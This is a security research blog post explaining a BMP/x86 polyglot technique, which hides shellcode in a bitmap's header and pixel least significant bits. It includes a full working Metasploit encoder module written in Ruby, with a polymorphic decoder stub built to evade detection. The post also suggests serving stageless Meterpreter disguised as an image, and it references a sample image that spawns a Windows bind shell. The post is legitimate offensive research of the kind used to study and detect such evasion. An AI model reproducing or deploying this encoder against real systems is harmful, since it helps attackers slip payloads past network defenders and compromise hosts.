• Skip to primary navigation
  • Skip to main content
  • Skip to primary sidebar
  • Skip to footer

War Room

Shells From Above

RSM logo

  • Home
  • About
  • Blog
  • Talks/Whitepapers
  • Tools
  • Recreation
Home > R&D > Research > BMP / x86 Polyglot

BMP / x86 Polyglot

January 7, 2016 By Spencer

It’s often desirable for an attacker to cover their tracks and hide their actions. This is often accomplished by randomization of any combination of bytes and strings, order of contact or time delays. While this can be effective in certain scenarios, a trained eye will still be suspicious of anomalous data traveling across their network. Take as a prime example the recent trend of attackers to downloading shellcode stages for payloads over HTTP(S). Accessing a stage over HTTP(S) is ideal for an attacker as the traffic will likely look more legitimate than a raw TCP connection as well as optionally use any configured proxies. The data in the response of the web request however is generally raw assembly (optionally encoded if Metasploit’s EnableStageEncoding option is set) and will look more suspicious than more common requests for HTML, CSS, Javascript and image resources. Enter the polyglot. A polyglot is data which is valid for multiple interpretations. It’s often used to refer to a source file which may be valid for more than one language.

It’s possible to take an existing Bitmap image file and modify it in such a way that will also be valid x86 assembly with space suitable for shellcode. Bitmap files can have slight variations in the use of its headers and how image and color data is stored. There are two different headers in the file the Bitmap and DIB file headers. The second header, the DIB header can have 7 different variations based on a field in the first header.

The original bitmap file format.

The Bitmap file header is what makes a Bitmap image an ideal image format to use as a shellcode polyglot. The Bitmap header starts with BM which dictates that the second DIB header is in the the 40-byte BITMAPINFOHEADER format. Following the BM, at offset 0x02 in the file is the 4-byte file size. The ASCII bytes BM when interpreted as x86 shellcode disassemble as inc edx; dec ebp which regardless of the state of the registers will not result in an exception as would occur if the instructions were reading or writing to memory locations that may be invalid. Following the BM, the 4-byte size can be artificially increased to be valid in the Bitmap context, as well as a valid x86 JMP instruction, which can be used to skip over the remaining bytes in the Bitmap header and the entire DIB header.

After inflating the Bitmap header size field, additional space can be occupied between the end of the DIB header and the start of the image data. It’s important to note that in certain Bitmap formats an additional field may be present here storing color data if the Pixel Format field of the DIB header is less than 24 bits per pixel. The size should be updated to the smallest value that is also an absolute x86 JMP instruction that will skip to the end of the DIB header which is where the shellcode can be stored. When calculating the JMP instruction, either a long or short variant can be used.

Once the size has been updated, the delta between the new and old sizes must be added to the data offset field of the Bitmap header in order for the file to still be valid. Shellcode can safely be stored in the space between the end of the DIB header and the start of the image data. Most modern payloads require at least a few hundred bytes (as is the case of Metasploit stagers) if not much more space. Because of this size, and the fact that the payload would exist essentially unobfuscated within the Bitmap image file it is desirable for an attacker to combine it with the image data itself which can be accomplished using a basic steganography technique. A malicious attacker can substitute the least significant bits (LSBs) of the image data with the raw shellcode. Once the shellcode and image data have been combined, a much smaller assembly stub can extract the original shellcode from the image data for execution at run time. The result is a stub of ~53 bytes that can extract a larger shellcode blob from an image while maintaining it’s original appearance.

Is that shellcode in your bitmap or are you just happy to see me?
The modified bitmap file format.

Figure 2 illustrates the layout of the modified image file. The pads before and after the decoder stub are of a dynamic size and will change based on the size (and thus the x86 JMP) included in the Bitmap header.

The execution path of the polyglot file.

The size of the image becomes an important factor to consider when selecting a suitable Bitmap file for use with this technique. Ideally only the first LSB of each pixel would be modified. This would not alter the image enough for a viewer to notice. However if the shellcode that is to be embedded is larger than (8 * len(image_data)) then the least 2 significant bits can be altered etc until the shellcode will fit. From experimentation, 4 LSBs starts to introduce some noticeable changes to the image. Using more than 4 LSBs should be avoided in preference for selection of a larger Bitmap image file. For compatibility with Metasploit as a stage encoder an image size of 3.5MB – 4MB should be selected. It’s also important to note that at the time of this writing that some of Metasploit’s stagers will exit the process if the stage >= 4MB.

The code following this post is an Encoder module for the Metasploit Framework which demonstrates the previously described polyglot encoding technique. In contrast to other Metasploit encoders, this module makes no effort to remove invalid characters and will greatly increase the size of the original shellcode as it is place within the selected image. The module allows a user to specify a base image to use by setting the BitmapFile option. The selected file needs to meet the previously outlined criteria (BM header start bytes, 40-byte BITMAPINFOHEADER header and 24-bits per pixel density). For an additional layer of obfuscation, the 53 byte assembly stub used to recover the original shellcode from the image data is polymorphic. This is the same technique used in the popular x86/shikata_ga_nai encoder. The polymorphic decoding assembly stub is also automatically set to use the smallest necessary 1, 2 or 4 LSBs to store the shellcode in the image data. When using the module to encode a stage, 4 LSBs will need to be used to accommodate the large size.

Perhaps the best use case for this module would be to encode a stageless HTTP Meterpreter into a Bitmap file that can then be served using any web server that would ideally set the MIME type correctly. An attacker could then request and execute this image with any number of techniques including Powershell. Alternatively, the module could be set using Metasploit’s EnableStageEncoding and StageEncoder options. At this time however, the Metasploit HTTP handler will not set the MIME type to correctly reflect the Bitmap image.

The above figures are all suitable Bitmap image files for use with this technique. Furthermore, figure #2 (bitmap_modified.bmp SHA-1 82ca3e260fb2c0aa6d76c4274b42a6f05e53fd79) is a product of the of the Metasploit module that when executed as raw shellcode (such as with Syringe) will spawn a Windows bind shell on port 4444. When figure #1 (which is provided as an unmodified comparison) and figure #2 are downloaded, the Linux file utility can be used to identify them both as being in the PC bitmap, Windows 3.x format.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/poly'
require 'msf/core'
=begin
[BITS 32]
global _start
_start:
pushad ; backup all registers
call get_eip ; get the value of eip
get_eip:
pop esi ; and put it into esi to use as the source
add esi, 0x30 ; advance esi to skip this decoder stub
mov edi, esi ; copy it to edi which is where to start writing
add esi, 0x1234 ; increase the source to skip any padding
mov ecx, 0x1234 ; set the byte counter
get_byte: ; <---------------------------------------------------------\
xor eax, eax ; clear eax which is where our newly decoded byte will go |
push ecx ; preserve the byte counter |
xor ecx, ecx ; set the counter to 0 |
mov cl, 8 ; set the counter to 8 (for bits) |
get_bit: ; <------------------------------------------------------\ |
shl eax, 1 ; shift eax one to make room for the next bit | |
mov bl, byte [esi] ; read a byte from the source register | |
inc esi ; advance the source register by a byte | |
and bl, 1 ; extract the value of the least-significant bit | |
or al, bl ; put the least-significat bit into eax | |
dec ecx ; decrement the bit counter | |
jne short get_bit ; -------------------------------------------------------/ |
; |
; get bit loop is done |
pop ecx ; restore the byte counter |
mov byte [edi], al ; move the newly decoded byte to its final destination |
inc edi ; increment the destination pointer |
; |
dec ecx ; decrement the byte counter |
jne get_byte ; ----------------------------------------------------------/
; get byte loop is done
popad ; restore all registers
=end
# calculate the smallest increase of a 32-bit little endian integer which is
# also a valid x86 jmp opcode of the specified minimum size.
class SizeCalculator
BYTE_NOPS = [
0x42, # inc edx
0x45, # inc ebp
0x4a, # dec edx
0x4d, # dec ebp
0x90, # xchg eax, eax / nop
0xf5, # cmc
0xf8, # clc
0xf9, # stc
0xfc, # cld
0xfd # std
]
def initialize(size, minimum_jump)
@original_size = size
raise if minimum_jump < 0 || minimum_jump > 0xff
@minimum_jump = minimum_jump
end
def calculate
possibles = []
size = new_size_long
possibles << size unless size.nil?
size = new_size_short
possibles << size unless size.nil?
return if possibles.length == 0
possibles.min
end
def new_size_long
size = [ @original_size ].pack('V').unpack('CCCC')
0.upto(2) do |i|
byte_0 = size[i]
byte_1 = size[i + 1]
byte_2 = size[i + 2].to_i
byte_3 = size[i + 3].to_i
byte_4 = size[i + 4].to_i
min_jmp = (@minimum_jump - 5 - i)
if byte_2 + byte_3 + byte_4 > 0 # this jmp would be too large
if byte_0 > 0xfd
size = increment_size(size, i)
end
size[i] = round_up_to_nop(byte_0)
next
end
if byte_0 > 0xe9
if byte_0 > 0xfd
size = increment_size(size, i)
end
size[i] = round_up_to_nop(byte_0)
else
size[i] = 0xe9
byte_1 = min_jmp if byte_1 < min_jmp
size[i + 1] = byte_1
return size.pack('CCCC').unpack('V')[0]
end
end
end
def new_size_short
return if @minimum_jump > 0x81 # short won't make it in this case (0x7f + 0.upto(2).to_a.max)
size = [ @original_size ].pack('V').unpack('CCCC')
0.upto(2) do |i|
byte_0 = size[i]
byte_1 = size[i + 1]
min_jmp = (@minimum_jump - 2 - i)
if byte_0 > 0xeb
if byte_0 > 0xfd
size = increment_size(size, i)
end
size[i] = round_up_to_nop(byte_0)
else
size[i] = 0xeb
if byte_1 > 0x7f
byte_1 = min_jmp
size = increment_size(size, i + 1)
elsif byte_1 < min_jmp
byte_1 = min_jmp
end
size[i + 1] = byte_1
return size.pack('CCCC').unpack('V')[0]
end
end
end
def size_to_jmp(size)
jmp = 0
packed = [ size, 0 ].pack('VV')
until [ "\xe9", "\xeb" ].include?(packed[0])
packed = packed[1..-1]
jmp += 1
end
if packed[0] == "\xe9"
jmp += packed[1..4].unpack('V')[0]
jmp += 5
elsif packed[0] == "\xeb"
jmp += packed[1].unpack('C')[0]
jmp += 2
end
jmp
end
private
def increment_size(size, byte)
size = size.pack('CCCC').unpack('V')[0]
size += (0x0100 << byte * 8)
[ size ].pack('V').unpack('CCCC')
end
def round_up_to_nop(opcode)
BYTE_NOPS.find { |nop| opcode <= nop }
end
end
class Metasploit4 < Msf::Encoder
Rank = ManualRanking
DESTEGO_STUB_SIZE = 53
# bitmap header sizes
BM_HEADER_SIZE = 14
DIB_HEADER_SIZE = 40
def initialize
super(
'Name' => 'BMP Polyglot',
'Description' => %q{
Encodes a payload in such a way that the resulting binary blob is both
valid x86 shellcode and a valid bitmap image file (.bmp). The selected
bitmap file to inject into must use the BM (Windows 3.1x/95/NT) header
and the 40-byte Windows 3.1x/NT BITMAPINFOHEADER. Additionally the file
must use either 24 or 32 bits per pixel as the color depth and no
compression. This encoder makes absolutely no effort to remove any
invalid characters.
},
'Author' => 'Spencer McIntyre',
'Arch' => ARCH_X86,
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL' => 'https://warroom.securestate.com/bmp-x86-polyglot/' ]
]
)
register_options(
[
OptString.new('BitmapFile', [ true, 'The .bmp file to inject into' ])
],
self.class)
end
def can_preserve_registers?
true
end
def preserves_stack?
true
end
def make_pad(size)
(0...size).map { (rand(0x100)).chr }.join
end
def modified_registers
# these two registers are modified by the initial BM header
# B 0x42 inc edx
# M 0x4d dec ebp
[
Rex::Arch::X86::EBP, Rex::Arch::X86::EDX
]
end
# take the original size and calculate a new one that meets the following
# requirements:
# - large enough to store all of the image data and the assembly stub
# - is also a valid x86 jmp instruction to land on the assembly stub
def calc_new_size(orig_size, stub_length)
minimum_jump = BM_HEADER_SIZE + DIB_HEADER_SIZE - 2 # -2 for the offset of the size in the BM header
calc = SizeCalculator.new(orig_size + stub_length, minimum_jump)
size = calc.calculate.to_i
raise EncodingError, 'Bad .bmp, failed to calculate jmp for size' if size < orig_size
jump = calc.size_to_jmp(size)
pre_pad = jump - minimum_jump
post_pad = size - orig_size - stub_length - pre_pad
return { :new_size => size, :post_pad => post_pad, :pre_pad => pre_pad }
end
# calculate the least number of bits that must be modified to place the
# shellcode buffer into the image data
def calc_required_lsbs(sc_len, data_len)
return 1 if sc_len * 8 <= data_len
return 2 if sc_len * 4 <= data_len
return 4 if sc_len * 2 <= data_len
raise EncodingError, 'Bad .bmp, not enough image data for stego operation'
end
# asm stub that will extract the payload from the least significant bits of
# the binary data which directly follows it
def make_destego_stub(shellcode_size, padding, lsbs = 1)
raise RuntimeError, 'Invalid number of storage bits' unless [1, 2, 4].include?(lsbs)
gen_regs = [ 'eax', 'ebx', 'ecx', 'edx' ].shuffle
ptr_regs = [ 'edi', 'esi' ].shuffle
# declare logical registers
dst_addr_reg = Rex::Poly::LogicalRegister::X86.new('dst_addr', ptr_regs.pop)
src_addr_reg = Rex::Poly::LogicalRegister::X86.new('src_addr', ptr_regs.pop)
ctr_reg = Rex::Poly::LogicalRegister::X86.new('ctr', gen_regs.pop)
byte_reg = Rex::Poly::LogicalRegister::X86.new('byte', gen_regs.pop)
bit_reg = Rex::Poly::LogicalRegister::X86.new('bit', gen_regs.pop)
endb = Rex::Poly::SymbolicBlock::End.new
get_eip_nop = Proc.new { |b| [0x90, 0x40 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample), 0x48 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample)].sample.chr }
get_eip = Proc.new { |b|
[
Proc.new { |b| "\xe8" + [0, 1].sample.chr + "\x00\x00\x00" + get_eip_nop.call(b) + (0x58 + b.regnum_of(src_addr_reg)).chr },
Proc.new { |b| "\xe8\xff\xff\xff\xff" + (0xc0 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample)).chr + (0x58 + b.regnum_of(src_addr_reg)).chr },
].sample.call(b)
}
set_src_addr = Proc.new { |b, o| "\x83" + (0xc0 + b.regnum_of(src_addr_reg)).chr + [ b.offset_of(endb) + o ].pack('c') }
set_dst_addr = Proc.new { |b| "\x89" + (0xc0 + (b.regnum_of(src_addr_reg) << 3) + b.regnum_of(dst_addr_reg)).chr }
set_byte_ctr = Proc.new { |b| (0xb8 + b.regnum_of(ctr_reg)).chr + [ shellcode_size ].pack('V') }
adjust_src_addr = Proc.new { |b| "\x81" + (0xc0 + b.regnum_of(src_addr_reg)).chr + [ padding ].pack('V') }
initialize = Rex::Poly::LogicalBlock.new('initialize',
Proc.new { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + adjust_src_addr.call(b) + set_byte_ctr.call(b) },
Proc.new { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + set_byte_ctr.call(b) + adjust_src_addr.call(b) },
Proc.new { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_byte_ctr.call(b) + set_dst_addr.call(b) + adjust_src_addr.call(b) },
Proc.new { |b| "\x60" + get_eip.call(b) + set_byte_ctr.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + adjust_src_addr.call(b) },
Proc.new { |b| "\x60" + set_byte_ctr.call(b) + get_eip.call(b) + set_src_addr.call(b, -11) + set_dst_addr.call(b) + adjust_src_addr.call(b) },
)
clr_byte_reg = Proc.new { |b| [0x29, 0x2b, 0x31, 0x33].sample.chr + (0xc0 + (b.regnum_of(byte_reg) << 3) + b.regnum_of(byte_reg)).chr }
clr_ctr = Proc.new { |b| [0x29, 0x2b, 0x31, 0x33].sample.chr + (0xc0 + (b.regnum_of(ctr_reg) << 3) + b.regnum_of(ctr_reg)).chr }
backup_byte_ctr = Proc.new { |b| (0x50 + b.regnum_of(ctr_reg)).chr }
set_bit_ctr = Proc.new { |b| (0xb0 + b.regnum_of(ctr_reg)).chr + (8 / lsbs).chr }
get_byte_loop = Rex::Poly::LogicalBlock.new('get_byte_loop',
Proc.new { |b| clr_byte_reg.call(b) + backup_byte_ctr.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) },
Proc.new { |b| backup_byte_ctr.call(b) + clr_byte_reg.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) },
Proc.new { |b| backup_byte_ctr.call(b) + clr_ctr.call(b) + clr_byte_reg.call(b) + set_bit_ctr.call(b) },
Proc.new { |b| backup_byte_ctr.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) + clr_byte_reg.call(b) },
)
get_byte_loop.depends_on(initialize)
shift_byte_reg = Rex::Poly::LogicalBlock.new('shift_byte_reg',
Proc.new { |b| "\xc1" + (0xe0 + b.regnum_of(byte_reg)).chr + lsbs.chr }
)
read_byte = Rex::Poly::LogicalBlock.new('read_byte',
Proc.new { |b| "\x8a" + ((b.regnum_of(bit_reg) << 3) + b.regnum_of(src_addr_reg)).chr }
)
inc_src_reg = Rex::Poly::LogicalBlock.new('inc_src_reg',
Proc.new { |b| (0x40 + b.regnum_of(src_addr_reg)).chr }
)
inc_src_reg.depends_on(read_byte)
get_lsb = Rex::Poly::LogicalBlock.new('get_lsb',
Proc.new { |b| "\x80" + (0xe0 + b.regnum_of(bit_reg)).chr + (0xff >> (8 - lsbs)).chr }
)
get_lsb.depends_on(read_byte)
put_lsb = Rex::Poly::LogicalBlock.new('put_lsb',
Proc.new { |b| "\x08"+ (0xc0 + (b.regnum_of(bit_reg) << 3) + b.regnum_of(byte_reg)).chr }
)
put_lsb.depends_on(get_lsb, shift_byte_reg)
jmp_bit_loop_body = Rex::Poly::LogicalBlock.new('jmp_bit_loop_body')
jmp_bit_loop_body.depends_on(put_lsb, inc_src_reg)
jmp_bit_loop = Rex::Poly::LogicalBlock.new('jmp_bit_loop',
Proc.new { |b| (0x48 + b.regnum_of(ctr_reg)).chr + "\x75" + (0xfe + -12).chr }
)
jmp_bit_loop.depends_on(jmp_bit_loop_body)
get_bit_loop = Rex::Poly::LogicalBlock.new('get_bit_loop_body', jmp_bit_loop.generate([ Rex::Arch::X86::EBP, Rex::Arch::X86::ESP ]))
get_bit_loop.depends_on(get_byte_loop)
put_byte = Proc.new { |b| "\x88" + (0x00 + (b.regnum_of(byte_reg) << 3) + b.regnum_of(dst_addr_reg)).chr }
inc_dst_reg = Proc.new { |b| (0x40 + b.regnum_of(dst_addr_reg)).chr }
restore_byte_ctr = Proc.new { |b| (0x58 + b.regnum_of(ctr_reg)).chr }
get_byte_post = Rex::Poly::LogicalBlock.new('get_byte_post',
Proc.new { |b| put_byte.call(b) + inc_dst_reg.call(b) + restore_byte_ctr.call(b) },
Proc.new { |b| put_byte.call(b) + restore_byte_ctr.call(b) + inc_dst_reg.call(b) },
Proc.new { |b| restore_byte_ctr.call(b) + put_byte.call(b) + inc_dst_reg.call(b) },
)
get_byte_post.depends_on(get_bit_loop)
jmp_byte_loop_body = Rex::Poly::LogicalBlock.new('jmp_byte_loop_body',
Proc.new { |b| (0x48 + b.regnum_of(ctr_reg)).chr + "\x75" + (0xfe + -26).chr }
)
jmp_byte_loop_body.depends_on(get_byte_post)
finalize = Rex::Poly::LogicalBlock.new('finalize', "\x61")
finalize.depends_on(jmp_byte_loop_body)
return finalize.generate([ Rex::Arch::X86::EBP, Rex::Arch::X86::ESP ])
end
def stegoify(shellcode, data, lsbs = 1)
clr_mask = ((0xff << lsbs) & 0xff)
set_mask = clr_mask ^ 0xff
iter_count = 8 / lsbs
shellcode.each_char.with_index do |sc_byte, index|
sc_byte = sc_byte.ord
0.upto(iter_count - 1) do |bit_pos|
data_pos = (index * (8 / lsbs)) + bit_pos
shift = 8 - (lsbs * (bit_pos + 1))
d_byte = data[data_pos].ord
d_byte &= clr_mask
d_byte |= ((sc_byte & (set_mask << shift)) >> shift)
data[data_pos] = d_byte.chr
end
end
data
end
def validate_dib_header(dib_header)
size, _, _, _, bbp, compression, _, _, _, _, _ = dib_header.unpack('VVVvvVVVVVV')
raise EncodingError, 'Bad .bmp DIB header, must be 40-byte BITMAPINFOHEADER' if size != DIB_HEADER_SIZE
raise EncodingError, 'Bad .bmp DIB header, bits per pixel must be must be either 24 or 32' if bbp != 24 && bbp != 32
raise EncodingError, 'Bad .bmp DIB header, compression can not be used' if compression != 0
end
def encode(buf, badchars = nil, state = nil, platform = nil)
in_bmp = File.open(datastore['BitmapFile'], 'rb')
header = in_bmp.read(BM_HEADER_SIZE)
dib_header = in_bmp.read(DIB_HEADER_SIZE)
image_data = in_bmp.read
in_bmp.close
header, original_size, _, _, original_offset = header.unpack('vVvvV')
raise EncodingError, 'Bad .bmp header, must be 0x424D (BM)' if header != 0x4d42
validate_dib_header(dib_header)
lsbs = calc_required_lsbs(buf.length, image_data.length)
details = calc_new_size(original_size, DESTEGO_STUB_SIZE)
destego_stub = make_destego_stub(buf.length, details[:post_pad], lsbs)
if destego_stub.length != DESTEGO_STUB_SIZE
# this is likely a coding error caused by updating the make_destego_stub
# method but not the DESTEGO_STUB_SIZE constant
raise EncodingError, 'Bad destego stub size'
end
pre_image_data = make_pad(details[:pre_pad]) + destego_stub + make_pad(details[:post_pad])
new_offset = original_offset + pre_image_data.length
bmp_img = ''
bmp_img << [0x4d42, details[:new_size], 0, 0, new_offset].pack('vVvvV')
bmp_img << dib_header
bmp_img << pre_image_data
bmp_img << stegoify(buf, image_data, lsbs)
bmp_img
end
end
view raw bmp_polyglot.rb hosted with ❤ by GitHub

Further reading:

Shah, Saumil “Weaponized Polyglots as Browser Exploits” PoC or GTFO 8 (2015): Page(27). Web. 2 Jan. 2016.

Special thanks to Emily Gundry for creating the images.

Spencer

Primary Sidebar

Categories

  • Defense
  • Forensics
  • Offense
  • Physical
  • R&D

Most Viewed Posts

  • DLL Injection Part 1: SetWindowsHookEx 11.1k views
  • Sophos UTM Home Edition – 3 – The Setup 10.9k views
  • Leveraging MS16-032 with PowerShell Empire 10.2k views
  • Bypassing Gmail’s Malicious Macro Signatures 10k views
  • How to Bypass SEP with Admin Access 9.1k views

Footer

  • Facebook
  • LinkedIn
  • Twitter
  • Tools
  • About
  • RSM US LLP

(312) 634-3400

30 S. Wacker Drive Suite 3300
Chicago, IL 60606

Copyright © 2026 RSM US LLP. All rights reserved. RSM US LLP is a limited liability partnership and the U.S. member firm of RSM International, a global network of independent audit, tax and consulting firms. The member firms of RSM International collaborate to provide services to global clients, but are separate and distinct legal entities that cannot obligate each other. Each member firm is responsible only for its own acts and omissions, and not those of any other party. Visit for more information regarding RSM US LLP and RSM International.

By clicking “Allow Cookies,” you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts.
RSM
Your opt-out cookie preference has been applied

Cookie policy settings

When you visit our website, we store cookies on your browser to collect information. You can choose not to allow certain types of cookies, which may impact your experience of the site and the services we are able to offer. Click on the category headings to find out more and change the default settings according to your preference. You cannot opt-out of our first-party Essential Cookies as they are deployed in order to ensure the proper functioning of our website (such as prompting the cookie banner and remembering your settings).
View our cookie policy.

Manage Consent Preferences

Essential Cookies

Always Active

These cookies are necessary for the website to function and cannot be switched off in our systems. They are usually only set in response to actions made by you which amount to a request for services – such as setting your privacy preferences or filling in a form. You can set your browser to block these cookies, but doing so may cause some parts of the site to stop working.

Functional Cookies

These cookies enable the website to provide enhanced functionality and personalization. They may be set by us or by third party providers whose services we have added to our pages. If you do not allow these cookies, then some or all of those services may not function properly.

Performance Cookies

These cookies allow us to count visits and traffic sources so we can measure and improve the performance of our site. They help us to know which pages are the most and least popular, and to see how visitors move around the site.

Marketing Cookies

These cookies may be set through our site by our marketing partners. They may be used by those companies to build a profile of your interests and show you relevant messages on other sites. If you do not allow these cookies, then you may experience less relevant content.

Cookie List

Search Icon
  • label
Consent Leg.Interest
label
label
label
Powered by Onetrust